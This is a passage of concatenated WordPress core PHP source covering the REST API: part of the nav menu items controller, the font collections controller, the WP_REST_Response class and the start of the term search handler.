				$error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		// The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string.
		foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) {
			$prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] );
		}

		// Only draft / publish are valid post status for menu items.
		if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) {
			$prepared_nav_item['menu-item-status'] = 'draft';
		}

		$prepared_nav_item = (object) $prepared_nav_item;

		/**
		 * Filters a menu item before it is inserted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $prepared_nav_item An object representing a single menu item prepared
		 *                                           for inserting or updating the database.
		 * @param WP_REST_Request $request           Request object.
		 */
		return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Base fields for every post.
		$fields    = $this->get_fields_for_response( $request );
		$menu_item = $this->get_nav_menu_item( $item->ID );
		$data      = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $menu_item->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $menu_item->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );

			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

			$data['title']['rendered'] = $title;

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $menu_item->post_status;
		}

		if ( rest_is_field_included( 'url', $fields ) ) {
			$data['url'] = $menu_item->url;
		}

		if ( rest_is_field_included( 'attr_title', $fields ) ) {
			// Same as post_excerpt.
			$data['attr_title'] = $menu_item->attr_title;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			// Same as post_content.
			$data['description'] = $menu_item->description;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $menu_item->type;
		}

		if ( rest_is_field_included( 'type_label', $fields ) ) {
			$data['type_label'] = $menu_item->type_label;
		}

		if ( rest_is_field_included( 'object', $fields ) ) {
			$data['object'] = $menu_item->object;
		}

		if ( rest_is_field_included( 'object_id', $fields ) ) {
			// It is stored as a string, but should be exposed as an integer.
			$data['object_id'] = absint( $menu_item->object_id );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['parent'] = (int) $menu_item->menu_item_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['menu_order'] = (int) $menu_item->menu_order;
		}

		if ( rest_is_field_included( 'target', $fields ) ) {
			$data['target'] = $menu_item->target;
		}

		if ( rest_is_field_included( 'classes', $fields ) ) {
			$data['classes'] = (array) $menu_item->classes;
		}

		if ( rest_is_field_included( 'xfn', $fields ) ) {
			$data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) );
		}

		if ( rest_is_field_included( 'invalid', $fields ) ) {
			$data['invalid'] = (bool) $menu_item->_invalid;
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $menu_item->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms = get_the_terms( $item, $taxonomy->name );
				if ( ! is_array( $terms ) ) {
					continue;
				}
				$term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
				if ( 'nav_menu' === $taxonomy->name ) {
					$data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0;
				} else {
					$data[ $base ] = $term_ids;
				}
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $item, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the menu item data for a REST API response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param object           $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}.
		 * @param WP_REST_Request  $request   Request object.
		 */
		return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		$links     = parent::prepare_links( $post );
		$menu_item = $this->get_nav_menu_item( $post->ID );

		if ( empty( $menu_item->object_id ) ) {
			return $links;
		}

		$path = '';
		$type = '';
		$key  = $menu_item->type;
		if ( 'post_type' === $menu_item->type ) {
			$path = rest_get_route_for_post( $menu_item->object_id );
			$type = get_post_type( $menu_item->object_id );
		} elseif ( 'taxonomy' === $menu_item->type ) {
			$path = rest_get_route_for_term( $menu_item->object_id );
			$type = get_term_field( 'taxonomy', $menu_item->object_id );
		}

		if ( $path && $type ) {
			$links['https://api.w.org/menu-item-object'][] = array(
				'href'       => rest_url( $path ),
				$key         => $type,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	protected function get_schema_links() {
		$links   = parent::get_schema_links();
		$href    = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
		$links[] = array(
			'rel'          => 'https://api.w.org/menu-item-object',
			'title'        => __( 'Get linked object.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'object' => array(
						'type' => 'integer',
					),
				),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema' => 'http://json-schema.org/draft-04/schema#',
			'title'   => $this->post_type,
			'type'    => 'object',
		);

		$schema['properties']['title'] = array(
			'description' => __( 'The title for the object.' ),
			'type'        => array( 'string', 'object' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Title for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML title for the object, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['id'] = array(
			'description' => __( 'Unique identifier for the object.' ),
			'type'        => 'integer',
			'default'     => 0,
			'minimum'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type_label'] = array(
			'description' => __( 'The singular label used to describe this type of menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type'] = array(
			'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ),
			'type'        => 'string',
			'enum'        => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'default'     => 'custom',
		);

		$schema['properties']['status'] = array(
			'description' => __( 'A named status for the object.' ),
			'type'        => 'string',
			'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
			'default'     => 'publish',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the object.' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['attr_title'] = array(
			'description' => __( 'Text for the title attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['classes'] = array(
			'description' => __( 'Class names for the link element of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The description of this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['menu_order'] = array(
			'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 1,
			'default'     => 1,
		);

		$schema['properties']['object'] = array(
			'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'string',
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_key',
			),
		);

		$schema['properties']['object_id'] = array(
			'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
		);

		$schema['properties']['target'] = array(
			'description' => __( 'The target attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'enum'        => array(
				'_blank',
				'',
			),
		);

		$schema['properties']['url'] = array(
			'description' => __( 'The URL to which this menu item points.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'validate_callback' => static function ( $url ) {
					if ( '' === $url ) {
						return true;
					}

					if ( sanitize_url( $url ) ) {
						return true;
					}

					return new WP_Error(
						'rest_invalid_url',
						__( 'Invalid URL.' )
					);
				},
			),
		);

		$schema['properties']['xfn'] = array(
			'description' => __( 'The XFN relationship expressed in the link of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['invalid'] = array(
			'description' => __( 'Whether the menu item represents an object that no longer exists.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'boolean',
			'readonly'    => true,
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base                          = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$schema['properties'][ $base ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);

			if ( 'nav_menu' === $taxonomy->name ) {
				$schema['properties'][ $base ]['type'] = 'integer';
				unset( $schema['properties'][ $base ]['items'] );
			}
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['menu_order'] = array(
			'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'menu_order',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'menu_order',
			),
		);
		// Change default to 100 items.
		$query_params['per_page']['default'] = 100;

		return $query_params;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.9.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'], $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
				'menu_order'    => 'menu_order',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		$query_args['update_menu_item_cache'] = true;

		return $query_args;
	}

	/**
	 * Gets the id of the menu that the given menu item belongs to.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_item_id Menu item id.
	 * @return int
	 */
	protected function get_menu_id( $menu_item_id ) {
		$menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
		$menu_id  = 0;
		if ( $menu_ids && ! is_wp_error( $menu_ids ) ) {
			$menu_id = array_shift( $menu_ids );
		}

		return $menu_id;
	}
}
<?php
/**
 * Rest Font Collections Controller.
 *
 * This file contains the class for the REST API Font Collections Controller.
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.5.0
 */

/**
 * Font Library Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Collections_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 6.5.0
	 */
	public function __construct() {
		$this->rest_base = 'font-collections';
		$this->namespace = 'wp/v2';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),

				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<slug>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the font collections available.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$collections_all = WP_Font_Library::get_instance()->get_font_collections();

		$page        = $request['page'];
		$per_page    = $request['per_page'];
		$total_items = count( $collections_all );
		$max_pages   = (int) ceil( $total_items / $per_page );

		if ( $page > $max_pages && $total_items > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );

		$items = array();
		foreach ( $collections_page as $collection ) {
			$item = $this->prepare_item_for_response( $collection, $request );

			// If there's an error loading a collection, skip it and continue loading valid collections.
			if ( is_wp_error( $item ) ) {
				continue;
			}
			$item    = $this->prepare_response_for_collection( $item );
			$items[] = $item;
		}

		$response = rest_ensure_response( $items );

		$response->header( 'X-WP-Total', (int) $total_items );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets a font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$slug       = $request->get_param( 'slug' );
		$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );

		if ( ! $collection ) {
			return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $collection, $request );
	}

	/**
	* Prepare a single collection output for response.
	*
	* @since 6.5.0
	*
	* @param WP_Font_Collection $item    Font collection object.
	* @param WP_REST_Request    $request Request object.
	* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	*/
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $item->slug;
		}

		// If any data fields are requested, get the collection data.
		$data_fields = array( 'name', 'description', 'font_families', 'categories' );
		if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
			$collection_data = $item->get_data();
			if ( is_wp_error( $collection_data ) ) {
				$collection_data->add_data( array( 'status' => 500 ) );
				return $collection_data;
			}

			foreach ( $data_fields as $field ) {
				if ( rest_is_field_included( $field, $fields ) ) {
					$data[ $field ] = $collection_data[ $field ];
				}
			}
		}

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters the font collection data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response   $response The response object.
		 * @param WP_Font_Collection $item     The font collection object.
		 * @param WP_REST_Request    $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
	}

	/**
	 * Retrieves the font collection's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'font-collection',
			'type'       => 'object',
			'properties' => array(
				'slug'          => array(
					'description' => __( 'Unique identifier for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'The name for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'   => array(
					'description' => __( 'The description for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_families' => array(
					'description' => __( 'The font families for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'    => array(
					'description' => __( 'The categories for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Font_Collection $collection Font collection data
	 * @return array Links for the given font collection.
	 */
	protected function prepare_links( $collection ) {
		return array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);
	}

	/**
	 * Retrieves the search params for the font collections.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the font collections controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_font_collections_collection_params', $query_params );
	}

	/**
	 * Checks whether the user has permissions to use the Fonts Collections.
	 *
	 * @since 6.5.0
	 *
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read',
			__( 'Sorry, you are not allowed to access font collections.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}
}
<?php
/**
 * REST API: WP_REST_Response class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST response object.
 *
 * @since 4.4.0
 *
 * @see WP_HTTP_Response
 */
class WP_REST_Response extends WP_HTTP_Response {

	/**
	 * Links related to the response.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $links = array();

	/**
	 * The route that was to create the response.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $matched_route = '';

	/**
	 * The handler that was used to create the response.
	 *
	 * @since 4.4.0
	 * @var null|array
	 */
	protected $matched_handler = null;

	/**
	 * Adds a link to the response.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel        Link relation. Either an IANA registered type,
	 *                           or an absolute URL.
	 * @param string $href       Target URI for the link.
	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
	 */
	public function add_link( $rel, $href, $attributes = array() ) {
		if ( empty( $this->links[ $rel ] ) ) {
			$this->links[ $rel ] = array();
		}

		if ( isset( $attributes['href'] ) ) {
			// Remove the href attribute, as it's used for the main URL.
			unset( $attributes['href'] );
		}

		$this->links[ $rel ][] = array(
			'href'       => $href,
			'attributes' => $attributes,
		);
	}

	/**
	 * Removes a link from the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $rel  Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $href Optional. Only remove links for the relation matching the given href.
	 *                     Default null.
	 */
	public function remove_link( $rel, $href = null ) {
		if ( ! isset( $this->links[ $rel ] ) ) {
			return;
		}

		if ( $href ) {
			$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
		} else {
			$this->links[ $rel ] = array();
		}

		if ( ! $this->links[ $rel ] ) {
			unset( $this->links[ $rel ] );
		}
	}

	/**
	 * Adds multiple links to the response.
	 *
	 * Link data should be an associative array with link relation as the key.
	 * The value can either be an associative array of link attributes
	 * (including `href` with the URL for the response), or a list of these
	 * associative arrays.
	 *
	 * @since 4.4.0
	 *
	 * @param array $links Map of link relation to list of links.
	 */
	public function add_links( $links ) {
		foreach ( $links as $rel => $set ) {
			// If it's a single link, wrap with an array for consistent handling.
			if ( isset( $set['href'] ) ) {
				$set = array( $set );
			}

			foreach ( $set as $attributes ) {
				$this->add_link( $rel, $attributes['href'], $attributes );
			}
		}
	}

	/**
	 * Retrieves links for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of links.
	 */
	public function get_links() {
		return $this->links;
	}

	/**
	 * Sets a single link header.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $link  Target IRI for the link.
	 * @param array  $other Optional. Other parameters to send, as an associative array.
	 *                      Default empty array.
	 */
	public function link_header( $rel, $link, $other = array() ) {
		$header = '<' . $link . '>; rel="' . $rel . '"';

		foreach ( $other as $key => $value ) {
			if ( 'title' === $key ) {
				$value = '"' . $value . '"';
			}

			$header .= '; ' . $key . '=' . $value;
		}
		$this->header( 'Link', $header, false );
	}

	/**
	 * Retrieves the route that was used.
	 *
	 * @since 4.4.0
	 *
	 * @return string The matched route.
	 */
	public function get_matched_route() {
		return $this->matched_route;
	}

	/**
	 * Sets the route (regex for path) that caused the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route name.
	 */
	public function set_matched_route( $route ) {
		$this->matched_route = $route;
	}

	/**
	 * Retrieves the handler that was used to generate the response.
	 *
	 * @since 4.4.0
	 *
	 * @return null|array The handler that was used to create the response.
	 */
	public function get_matched_handler() {
		return $this->matched_handler;
	}

	/**
	 * Sets the handler that was responsible for generating the response.
	 *
	 * @since 4.4.0
	 *
	 * @param array $handler The matched handler.
	 */
	public function set_matched_handler( $handler ) {
		$this->matched_handler = $handler;
	}

	/**
	 * Checks if the response is an error, i.e. >= 400 response code.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the response is an error.
	 */
	public function is_error() {
		return $this->get_status() >= 400;
	}

	/**
	 * Retrieves a WP_Error object from the response.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error or null on not an errored response.
	 */
	public function as_error() {
		if ( ! $this->is_error() ) {
			return null;
		}

		$error = new WP_Error();

		if ( is_array( $this->get_data() ) ) {
			$data = $this->get_data();
			$error->add( $data['code'], $data['message'], $data['data'] );

			if ( ! empty( $data['additional_errors'] ) ) {
				foreach ( $data['additional_errors'] as $err ) {
					$error->add( $err['code'], $err['message'], $err['data'] );
				}
			}
		} else {
			$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
		}

		return $error;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
	public function get_curies() {
		$curies = array(
			array(
				'name'      => 'wp',
				'href'      => 'https://api.w.org/{rel}',
				'templated' => true,
			),
		);

		/**
		 * Filters extra CURIEs available on REST API responses.
		 *
		 * CURIEs allow a shortened version of URI relations. This allows a more
		 * usable form for custom relations than using the full URI. These work
		 * similarly to how XML namespaces work.
		 *
		 * Registered CURIES need to specify a name and URI template. This will
		 * automatically transform URI relations into their shortened version.
		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
		 * the URI template will be replaced with the `{rel}` part of the
		 * shortened relation.
		 *
		 * For example, a CURIE with name `example` and URI template
		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
		 * into `example:term`.
		 *
		 * Well-behaved clients should expand and normalize these back to their
		 * full URI relation, however some naive clients may not resolve these
		 * correctly, so adding new CURIEs may break backward compatibility.
		 *
		 * @since 4.5.0
		 *
		 * @param array $additional Additional CURIEs to register with the REST API.
		 */
		$additional = apply_filters( 'rest_response_link_curies', array() );

		return array_merge( $curies, $additional );
	}
}
<?php
/**
 * REST API: WP_REST_Term_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for terms in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Term_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'term';

		$this->subtypes = array_values(
			get_taxonomies(
				array(
					'public'       => true,
					'show_in_rest' => true,
				),
				'names'
			)
		);
	}

	/**
	 * Searches terms for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[]               $ids   Found term IDs.
	 *     @type string|int|WP_Error $total Numeric string containing the number of terms in that
	 *                                      taxonomy, 0 if there are no results, or WP_Error if
	 *                                      the requested taxonomy does not exist.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) {
			$taxonomies = $this->subtypes;
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		$query_args = array(
			'taxonomy'   => $taxonomies,
			'hide_empty' => false,
			'offset'     => ( $page - 1 ) * $per_page,
			'number'     => $per_page,
		);

